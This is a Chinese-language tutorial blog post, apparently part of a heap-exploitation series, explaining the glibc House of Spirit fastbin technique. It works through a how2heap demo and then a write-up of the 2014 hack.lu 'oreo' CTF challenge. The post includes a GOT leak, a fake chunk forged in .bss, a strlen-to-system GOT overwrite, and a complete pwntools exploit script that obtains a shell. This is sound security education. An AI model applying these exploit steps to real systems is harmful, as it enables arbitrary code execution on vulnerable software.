Fastbin Attack的第二种攻击方式House Of Spirit,相对来说是double free的升华。在检查绕过的时候会相对麻烦一点,其他的地方还是挺简单的,如果上一篇文上你领悟的很好的话,这篇文章也不会很难理解。
编写不易,如果能够帮助到你,希望能够点赞收藏加关注哦Thanks♪(・ω・)ノ
往期回顾:
好好说话之Fastbin Attack(1):Fastbin Double Free
好好说话之Use After Free
好好说话之unlink
好好说话之Chunk Extend/Overlapping
…
House Of Spirit
简单的介绍一下,House of Spirit这种技术的核心在于在目标位置处伪造fastbin chunk,并将其释放,从而达到分配指定地址
的chunk的目的
House Of Spirit和fastbin double free有一个非常大的区别,fastbin double free所释放的chunk是本身程序自己malloc产生的,但是house of spirit是去释放指定地址的chunk。那么这个chunk我们可以通过伪造的方式构建,他可以是任意可写地址。但这就产生了一个问题,我们在释放这个伪造的chunk的时候他是不能够直接挂进fastbin单向链表中的,就如同A向B捐献心脏(献出你的心脏巨人乱入 ),B会产生器官排斥一样。这是因为你在释放时,需要经过一些检查,去判断该释放的chunk是否为程序自身创建的。那么我们需要做的就是绕过这些检查:
1、fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理
IS_MAPPED,记录当前 chunk 是否是由 mmap 分配的,这个标志位位于size低二比特位
2、fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
因为fake_chunk可以在任意可写位置构造,这里对齐指的是地址上的对齐而不仅仅是内存对齐,比如32位程序的话fake_chunk的prev_size所在地址就应该位0xXXXX0
或0xXXXX4
。64位的话地址就应该在0xXXXX0
或0xXXXX8
3、fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐
fake_chunk如果想挂进fastbin的话构造的大小就不能大于0x80
,关于对齐和上面一样,并且在确定prev_size的位置后size所在位置要满足堆块结构的摆放位置
4、fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem
fake_chunk 的大小,大小必须是 2 * SIZE_SZ 的整数倍。如果申请的内存大小不是 2 * SIZE_SZ 的整数倍,会被转换满足大小的最小的 2 * SIZE_SZ 的倍数。32 位系统中,SIZE_SZ 是 4;64 位系统中,SIZE_SZ 是 8。最大不能超过av->system_mem,即128kb。next_chunk的大小一般我们会设置成为一个超过fastbin最大的范围的一个数,但要小雨128kb,这样做的目的是在chunk连续释放的时候,能够保证伪造的chunk在释放后能够挂在fastbin中main_arena的前面,这样以来我们再一次申请伪造chunk大小的块时可以直接重启伪造chunk
5、fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况
这个检查就是fake_chunk前一个释放块不能是fake_chunk本身,如果是的话_int_free函数就会检查出来并且中断。可以参考篇文章好好说话之Fastbin Attack(1):Fastbin Double Free
演示
这里使用how2heap上的例子进行说明,我做了一些简化:
1 //gcc -g hollk1.c -o hollk1
2 #include <stdio.h>
3 #include <stdlib.h>
4
5 int main()
6 {
7 malloc(1);
8 unsigned long long *a;
9 unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
10 fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_c hunks[1], &fake_chunks[7]);
11 fake_chunks[1] = 0x40; // this is the size
12 fake_chunks[9] = 0x1234; // nextsize
13 fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
14 a = &fake_chunks[2];
15 fprintf(stderr,"%p\n",&a); //自己加的
16 free(a);
17 fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
18 fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
19 puts("hollk"); //为了下断点调试,加了个puts函数
20 }
简单的讲一下这个例子的流程,首先malloc(1)创建了一个0x1大小的chunk。接着定义了一个long long类型的指针a,和一个long long类型的数组fake_chunks[10],需要注意的是后面的__attribute__ ((aligned (16)))
,此属性指定了指定类型的变量的最小对齐(以字节为单位)。如果结构中有成员的长度大于16,则按照最大成员的长度来对齐,关于__attribute__ ((aligned (16)))的常用方法,可以参考这篇文章。接下来将数组下标为1的位置放入数据0x40,数组下标为9的位置放入数据0x1234。接着打印了数组下标为1位置的地址,将数组下标为2的地址赋给a指针,并释放a指针。接着打印出数组下标为1和2两处位置的地址,最后重新申请一个大小为0x30的chunk
我们虽然走了一遍流程,但是其中的细节还是需要在内存中清楚的看到,因为在使用gcc编译的时候使用-g参数,所以我们在首先在第11行下断点b 11
,使程序创建好a指针和fake_chunks数组,并查看一下fake_chunks数组的地址:
可以看到输出的fake_chunks[1]的地址为0x7fffffffdf88
,那么fake_chunks的起始地址就为0x7fffffffdf80
,我们去这个起始地址看一下:
接下来我们在第13行下断点,将0x40
、0x1234
分别写进fake_chunks[1]和fake_chunks[9]的位置。并且在看一下里面的部署情况:
可以看到fake_chunks[1]的位置被覆盖为乐0x40
,fake_chunk[9]的位置变为了0x1234
。改变这两个位置的作用是什么呢?这里其实实在伪造一个假的chunk,0x7fffffffdf80
位置作为chunk的prev_size,0x7fffffffdf88
位置的的0x40作为chunk的size位。这里需要注意的是,这里为什么被写成0x40,因为前面我们讲当一个chunk被释放后如果想要挂进fastbin中需要满足5条检查规则,那么0x40满足一下两点:
- fake chunk 的 ISMMAP 位不能为 1
- fake chunk 地址需要对齐
- fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐
0x7fffffffdf90 ~0x7fffffffdfb8
这段区域就用作fake_chunk的data区域,正好是0x30,那么在fake_chunks[9]位置放置0x1234,这里其实是作为next_chunk的size位,这里也满足了检查中的:
- fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem
加下来我们在第16行下断点,这里完成了对a指针的赋值,会将fake_chunk[2]的地址赋给a指针变量,这里的fake_chunk[2]其实对应的就是伪造块的data指针,在打印后看一下a指针的地址:
这里其实就是伪造块的前一个地址位宽位置,去这里看一下:
可以看到在0x7fffffffdf78
中存放的就是伪造chunk的data指针,接下来将断点下在第18行,释放a并打印出fake_chunks[1]和fake_chunks[2],我们查看一下bin中的情况:
这样一来,虽然fake_chunk并不是由malloc直接申请的,但是由于符合挂进fastbin的检查,所以在释放之后可以直接挂进fastbin中。接下来将断点下在第19行,我们重新申请一个0x30大小的chunk:
重新看fastbin,可以看出fake_chunk经过这一次申请之后被重新启用了
我们在进入堆以来最后能够拿shell或者拿flag的方法大部分是使用hook技术或者修改got表,就House Of Spirit这种技术而言,如果我们在任意可写位置伪造chunk,并事先部署好free函数的got地址,再通过泄漏的方式得到system()函数和“/bin/sh”字符串地址。接着使用House Of Spirit将伪造chunk释放重启,接着将伪造chunk中的free()函数真是地址修改成system()函数地址,这样一来我们在释放某一个chunk的时候,不输入chunk的id,而是输入“/bin/sh”就可以直接拿shell了
例题:2014 hack.lu oreo
检查保护
老规矩首先查看一下程序的保护机制:
可以看到这是一个32位的程序,只开启了canary保护和NX保护。并没有限制got表可写(堆溢出的套路摸清了吗😜)
静态分析
又是锻炼分析的好机会!
主函数
进入主函授首先看到的就是绿色框三个为定义的全局变量,虽然现在看起来没什么用处,但是后面在malloc申请或释放的时候肯定会用到,老堆溢出了嘛。接下来会有一个没有命名的sub_804898D()函数,可以看中间的红色框展开。这里才更像是主函数的样子,在switch中存在一个sub_8048896()函数,可以看右面的蓝色框展开,这就是一个输入并判断输入是否合法的函数。我们回到红色框,可以看到一排交互提示:在输入1时执行sub_8048644()函数添加枪支,在输入2时执行sub_8048729()函数显示已添加的枪支,在输入3时执行sub_8048810()函数订购枪支,在输入4时执行sub_80487B4()函数对订单进行留言,在输入5时执行sub_8048906()函数显示当前状态
添加枪支:sub_8048644()函数
简单的讲一些这个函数的执行流程,首先将全局变量中的值赋给v1,dowrd_804A288是一个新的全局变量,接着申请了一个大小为0x38
的chunk,并且将该chunk的malloc指针放在了dowrd_804A288全局变量中。接下来判断chunk是否创建成功,如果成功则将v1变量中的malloc指针放在malloc指针+13个地址位宽后
的位置。接下来打印提示输入枪支名称,通过fgets函数接收输入的值并存放在malloc指针+25个字节
后的位置,输入的字符最多为56个字节。然后调用了sub_8048A288()函数,可以看右下绿色框中的展开,这里就是一个输入校验的功能。接下来提示打印提示输入枪支说明,依然还是使用fgets函数接收输入的内容,并将输入的内容存放在malloc指针
的起始位置,输入的字符最多为56个字节。再一次校验之后dword_804A2A4全局变量自加,这个全局变量有点像是个计数的
在解读完流程后,可以看到这个添加的功能挺有意思的,他并没有单独的去构建一个标准的结构体,而是使用这种偏移的方式将不同的输入数据放在不同的地方,当然也可以当作一个结构体来看待。那么malloc申请的chunk中首先摆在最前面的就应该是枪支的说明,然后是枪支名称,最后还会添加前一个枪支的malloc地址,我画出结构体看一下:
这里需要注意的有三个点:
- dowrd_804A288这个全局变量中存放的是申请的malloc指针,但是这个malloc指针并没有按照任何的结构进行摆放,而是每新申请一个chunk,他的上一个申请的malloc指针就会被覆盖为新的malloc指针,所以dowrd_804A288全局变量中只会存在一个chunk的malloc指针,即最后一次申请的malloc指针
- 在名字结尾追加的前一个chunk的malloc地址,他的作用其实是为了将申请的多个chunk串联起来,如何串联起来的后面会提到
- dword_804A2A4全局变量有计数功能,记录的是已申请的chunk的数量
在我们解读完整个流程过后,仔细的分析一下,其实这里是存在堆溢出
的。我们已经分析出枪支的结构体中,成员变量rifle_name的最大长度为27个字节,成员变量rifle_dec的最大长度为25个字节,但是在代码中使用fgets(dword_804A288 + 25, 56
, stdin);这个函数在接收输入字符串的时候允许最大输入长度为56个字节,这就导致了我们输入的字符串会冲出成员变量长度的限制,导致数据会溢出到其他成员变量位置或者其他chunk中
我们将程序运行起来,并执行添加操作,通过对数据输入与输出的回显写出自动化代码:
显示已添加的枪支:sub_8048729()函数
简单的解释一下这个流程,dword_804A288
这个全局变量里面存放的是最后一个申请的chunk的malloc地址。所以在循环起始指针变量i就是chunk的malloc地址,那么i
的位置就是枪支的说明
,i + 25
的位置就是枪支的名称
。再一次循环结束后会进行(char *)*((_DOWRD *)i + 13)
的操作,这里会正好指向结尾处前一个chunk的malloc指针。也就是说sub_8048729()函数会一次性将所有创建的枪支信息全部打出来。
我们将程序运行起来,并执行添加操作,通过对数据输入与输出的回显写出自动化代码:
订购枪支:sub_8048810()函数
简单的说一下这个函数好的流程,首先将dword_804A288
全局变量中的malloc指针赋值给v2指针变量,接着判断dword_804A2A4
全局变量中是否还有以创建的chunk(根据chunk数量判断)。接着进入循环,如果v2得到了malloc指针,那么再次将malloc指针移赋给ptr指针变量,并将上一个chunk的malloc指针赋给v2指针变量,最后释放ptr中的malloc指针。这样一直循环下来,直到将所有已创建的chunk释放掉则跳出循环。接着将dword_804A288
全局变量中的malloc指针置空,将dword_804A2A0
全局变量自身累加,这里主要目的同样是为了记录提交的次数。总的来说sub_8048810()函数与其说是提交订单功能,不如说是一个释放chunk的功能
在讲完流程之后我们仔细分析一下其中的逻辑,这里需要注意的是循环释放这一部分,在ptr指针变量每一次在释放之后都会被v2变量重新复制,但是最后一次被释放之后其实ptr并没有被置空,这就造成了一个非常经典的dangling pointer
,也就是说被释放的chunk其实是可以有机会被重新启用的。dangling pointer形成的原因可以参考前面好好说话之Use After Free这篇文章
我们将程序运行起来,并执行添加操作,通过对数据输入与输出的回显写出自动化代码:
对订单进行留言:sub_80487B4()函数
这个功能就很简单了,会将外部输入的留言字符串存放某个地址中,dword_804A2A8
全局变量中存放的就是这个地址,输入的最大字符串长度为128个字节。接着调用sub_80485EC()函数进行输入检查
我们将程序运行起来,并执行添加操作,通过对数据输入与输出的回显写出自动化代码:
思路分析及动态调试
经过我们前面的静态分析,现在可以公开的情报为:
- 枪支创建具有结构体,成员变量分别为rifle_dec(25字节)、rifle_name(27字节)、malloc_point(4字节),结构体size为0x40
- 在添加枪支功能中存在堆溢出漏洞,输入的name或dec的字符串可以对其他成员变量或后面的chunk进行覆盖
- 在显示枪支信息功能中,会将所有被创建的chunk信息打印出来
- 在订单提交功能中,释放chunk后存在dangling pointer
- dowrd_804A288全局变量:内部存储最后一个被创建的chunk的malloc指针
- dword_804A2A4全局变量:每有一个chunk被创建,dword_804A2A4就会自加1
- dword_804A2A8全局变量:可以进行留言,内部有128个字节的存储空间
泄漏system()函数地址以及/bin/sh字符串地址
使用gdb打开程序,我们运行起来看一看创建两个枪支后内存的布局(由于这道题没有进行setbuf,所以会有oi缓存的情况,相似情况可以参考前面好好说话之unlink这篇文章):
可以看到和我们前面分析一样,枪之后的结构体分布,以及chunk2结尾4字节存储的是chunk1的malloc指针。由于chunk1前面没有我们创建的chunk了,所以chunk2结尾4字节是空。那么我们去想,在显示枪支信息功能中,它会循环打印出每个chunk的信息,这是由(char *)*((_DOWRD *)i + 13)
这段代码造成的,每一次都会调用chunk结尾的前一个chunk的malloc指针
那么这有什么用处呢?我们在前面分析出在创建chunk的时候是存在堆溢出的,因为rifle_name成员变量和chunk_point成员变量是相邻的,如果我们在rifle_name这个成员变量中进行溢出,将某个函数的got地址覆盖到chunk_point的位置,那么在打印的时候就会变成下面这个样子:
这样一来在打印chunk2或者chunk1的时候就会连同函数的真实地址一同打印出来,在我们拿到某个函数的真实地址后,就可以通过pwntools在libc中寻找system()函数地址与/bin/sh字符串地址了。这里我们选用puts函数,构建的payload如下:
payload = 'hollk' + 22 * 'b' + p32(oreo.got['puts'])
使用前面静态分析阶段编写的add()函数以及show_rifle()函数与程序进行交互,再使用pwntools自带的功能进行搜索:
name = 'hollk' + 22 * 'b' + p32(oreo.got['puts'])
add(25 * 'a', name)
show_rifle()
hollk.recvuntil('===================================\n')
hollk.recvuntil('Description: ')
puts_addr = u32(hollk.recvuntil('\n', drop=True)[:4])
log.success('puts addr: ' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
可以得到system_addr = 0xf7e58da0
,binsh_addr = 0xf7f79a0b
伪造块位置
在得到了system()函数地址和/bin/sh字符串地址之后,我们需要考虑的就是如何去将某个函数的got中的的函数替换成system()函数的地址了,这就用到老方法:伪造chunk。接下来就需要去选择伪造chunk应该放在哪个位置。其实我们前面还有一个点没有利用上,就是每创建一个chunk,dword_804A2A4全局变量就会增加1。我们创建两个枪支去看一下0x804A2A4
中的变化:
在创建两个枪支后可以看到0x804A2A4中的数值变为了2,也就是说这里的数值我们是变相可以控制的,0x804A2A4完全可以作为fake_chunk的size
,那么0x804A2A0就可以作为fake_chunk的prev_size,0x804A2A8就可以作为fake_chunk的data的malloc地址。由于这道题不能让我们自定义创建chunk的大小,只能由程序创建0x40大小的chunk,所以如果想要在释放这个fake_chunk后可以重新启用伪造chunk,那么我们只能使0x804A2A4中的数值变0x40
,即需要申请0x40个chunk。
那么如果想要fake_chunk跟着其他chunk一起被释放,那么第0x3f个chunk的结尾成员变量chunk_point
指针就要指向0x804A2A8
,即fake_chunk的malloc地址,具体创建0x40个chunk的操作如下:
oifle = 1
while oifle < 0x3f:
add(25 * 'a', 'a' * 27 + p32(0)) #循环创建0x3f个工具块
oifle += 1
payload = 'a' * 27 + p32(0x0804a2a8) #第0x40个工具块的结尾成员变量chunk_point指针指向fake_chunk的malloc地址
add(25 * 'a', payload)
伪造块绕过检查
那么size的问题解决了,接下来就是伪造chunk的后一个释放chunk对于伪造chunk的检查了:
- 伪造chunk的size大小为0x40,所以从
0x804A2A8到0x804A2D8
共0x30的空间都应该归属于伪造chunk,因此fake_chunk的后一个chunk的prev_size地址就应该为0x804a2e0
- 如果我们想在释放fake_chunk之后立刻就可以申请重新启用,那么后一个chunk的大小就应该大于fastbin的最大范围0x40(32位程序),这样在释放后fake_chunk就可以直接挂在fastbin中main_arena之前,那么这里可以将后一个chunk的
size设置为0x100
- 由于后一个chunk的size大小超过的fastbin的最大值,那么后一个chunk的prev_size就需要标识前一个释放块fake_chunk的size,并且prev_inuse位要标志位0,即
0x40
。具体原因请参考前面好好说话之Chunk Extend/Overlapping中的内容
最后呈现出来的结构如下图:
那接下来考虑的就是如何去部署上面这个结构,其实我们伪造的fake_chunk的malloc地址位置恰好是留言的指针。在留言功能中,我们输入的字符串会存放dword_804A2A8全局变量所指向的地址当中,dword_804A2A8全局变量的地址为0x804A2A8
,我们可以看下图0x804A2A8的位置存放的是留言指针0x804a2c0
,也就是说我们输入的字符串是从0x804a2c0开始存放的
那么这样以来去除0x804A2A8到0x804A2B8
中的24个字节,还需要空出0x20个字节的空间留给fake_chunk,接下来的结构就和前面图中一样了
#0x20 * '\x00'用来空出fake_chunk的空间
#p32(0x40)作为next_chunk的prev_size
#p32(0x100)作为next_chunk的size
payload = 0x20 * '\x00' + p32(0x40) + p32(0x100)
payload = payload.ljust(52, 'b')
payload += p32(0)
payload = payload.ljust(128, 'c')
message(payload)
修改got地址
在部署好上述一系列准备之后,我们就可以直接调用提交订单功能,将我们伪造的fake_chunk释放掉,在释放后我们看下图:
可以看到虽然伪造的fake_chunk并不是由程序本身malloc来的,他也不是在内存中的,但是通过对各种验证的绕过,使得我们伪造在bss段的fake_chunk被int_free函数承认,并挂进fastbin单向链表。当我们再次申请的时候main_arena指向的fake_chunk就会被重新启用。那么这样以来我们就可以通过创建的阶段部署got地址。这里我们选取strlen()函数
,将strlen()函数got地址放在chunk_desc成员变量的位置:
payload = p32(oreo.got['strlen']).ljust(20, 'a')
那么这样一来重新申请的chunk就会是下面这样:
这里需要注意的是0x804A2A8的位置是留言指针,此时被覆盖成了strlen_got地址,所以我们再一次去留言的时候实际上是向strlen_got地址中写数据。那么接下来我们使用修改功能。payload如下:
p32(system_addr) + ';/bin/sh\x00'
那么这样以来通过message函数写的时候,首先strlen()函数本身的真实地址就会被system()函数的真实地址所覆盖。后面输入的’;/bin/sh\x00’就会被strlen()函数计数,理论上来说是strlen(/bin/sh),但是实际上是system(/bin/sh),也就是说可以拿shell了!!!
EXP
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
context.log_level = 'debug'
context.binary = "./test"
oreo = ELF("./test")
if args['REMOTE']:
hollk = remote(ip, port)
else:
hollk = process("./test")
log.info('PID: ' + str(proc.pidof(hollk)[0]))
libc = ELF('./libc.so.6')
def add(descrip, name):
hollk.sendline('1')
hollk.sendline(name)
hollk.sendline(descrip)
def show_rifle():
hollk.sendline('2')
hollk.recvuntil('===================================\n')
def order():
hollk.sendline('3')
def message(notice):
hollk.sendline('4')
hollk.sendline(notice)
def exp():
name = 27 * 'b' + p32(oreo.got['puts'])
add(25 * 'a', name)
show_rifle()
hollk.recvuntil('===================================\n')
hollk.recvuntil('Description: ')
puts_addr = u32(hollk.recvuntil('\n', drop=True)[:4])
log.success('puts addr: ' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
print hex(system_addr)
print hex(binsh_addr)
oifle = 1
while oifle < 0x3f:
add(25 * 'a', 'a' * 27 + p32(0))
oifle += 1
payload = 'a' * 27 + p32(0x0804a2a8)
add(25 * 'a', payload)
payload = 0x20 * '\x00' + p32(0x40) + p32(0x100)
payload = payload.ljust(52, 'b')
payload += p32(0)
payload = payload.ljust(128, 'c')
message(payload)
order()
payload = p32(oreo.got['strlen']).ljust(20, 'a')
add(payload, 'b' * 20)
gdb.attach(hollk)
log.success('system addr: ' + hex(system_addr))
#gdb.attach(p)
message(p32(system_addr) + ';/bin/sh\x00')
hollk.interactive()
if __name__ == "__main__":
exp()
结果如下: